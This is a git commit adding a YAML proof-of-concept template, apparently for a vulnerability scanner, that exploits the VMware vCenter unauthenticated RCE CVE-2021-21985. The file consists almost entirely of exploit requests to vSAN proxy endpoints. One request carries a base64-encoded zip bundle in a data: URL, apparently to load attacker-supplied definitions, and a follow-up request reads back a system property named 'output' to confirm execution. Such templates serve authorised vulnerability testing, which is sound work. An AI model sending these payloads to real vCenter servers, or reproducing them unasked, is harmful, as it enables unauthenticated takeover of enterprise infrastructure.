vmware-vcenter-cve-2021-21985-rce (#1310)

vvone123 · web-flow · commit 0c30975dc3f2 · 2022-04-25T10:36:14.000+08:00
vmware-vcenter-cve-2021-21985-rce
diff --git a/pocs/vmware-vcenter-cve-2021-21985-rce.yml b/pocs/vmware-vcenter-cve-2021-21985-rce.yml
@@ -0,0 +1,34 @@
+name: poc-yaml-vmware-vcenter-cve-2021-21985-rce
+rules:
+  - method: POST
+    path: /ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData
+    headers:
+      Content-Type: application/json
+    body: |
+      {"methodInput":[{"type":"ClusterComputeResource","value": null,"serverGuid": null}]}\x0d\x0a
+    expression: |
+      response.status == 200 && response.body.bcontains(b"{\"result\":{\"") && response.headers["set-Cookie"].contains("VSPHERE-UI-JSESSIONID")
+  - method: POST
+    path: /ui/h5-vsan/rest/proxy/service/vmodlContext/loadVmodlPackages
+    headers:
+      Content-Type: application/json
+    body: |
+      {"methodInput": [["https://localhost:443/vsanHealth/vum/driverOfflineBundle/data:text/html%3Bbase64,UEsDBBQAAAAIADihc1Okxc3arAEAAI8EAAASAAAAb2ZmbGluZV9idW5kbGUueG1spVNNT+MwFLxX4j+YIFWNRG0+biWJBOxlJVZC2z0gIQ6O+5qYdeysn9MUIf77unGBfoFUyCXOezMvM2M7yYFrJPNKaUyj0rl6xFjbthRrK3UxtbyC1ti/1NiCoSih4qyjRAc9Ep6OO5qjXOO35x3l7OTklN39uhl31KHU6LgWsMJGOQpzb4zgThqdvjb3ULMPlgXAsPugc5xEWfhhsqgQOUmjOo+IUBx9JI98xqniuqC31ghAvGqkmoB9JXVEYbwv2whn7JDbYqXlm0qiW6v42oyrBjKWS81yjmXCQmEnaig+bSeH99c/Lv9c3pO2NLyS5Czrn5KHh2wXK2EbahK2W3vSZbUVjMT1YKShP3XduLGzwKvfwPdJ5s3C0XOdU38wrBvEtAC3MnIQv2z72FN0brdEXzXTKViYfF2xxO8LE0YpWEA3Um2cVD6PhX96/Y7JPhiDT+ig2nFix6GxKrC2pgbrnoj21yON2pI7mPkESGcljY6eSRhHEdztEjzo/2uMuzCN8/sS1sckt1RJDei3bOlj8O6HPhqp/SVbMg964R3HMXmJ2GYqYYF+9R9QSwECFAAUAAAACAA4oXNTpMXN2qwBAACPBAAAEgAAAAAAAAAAAAAAtoEAAAAAb2ZmbGluZV9idW5kbGUueG1sUEsFBgAAAAABAAEAQAAAANwBAAAAAA==%23"]]}
+    expression: |
+      response.status == 200
+  - method: POST
+    path: /ui/h5-vsan/rest/proxy/service/systemProperties/getProperty
+    headers:
+      Content-Type: application/json
+    body: |
+      {"methodInput": ["output", null]}
+    expression: |
+      response.status == 200 && response.body.bcontains(b"{\"result\":") && !response.body.bcontains(b"null")
+
+detail:
+  vulnpath: "/ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData"
+  author: envone77
+  description: "vmware vCenter unauth RCE cve-2021-21985"
+  links:
+    - https://www.anquanke.com/post/id/243098
+    - https://github.com/alt3kx/CVE-2021-21985_PoC
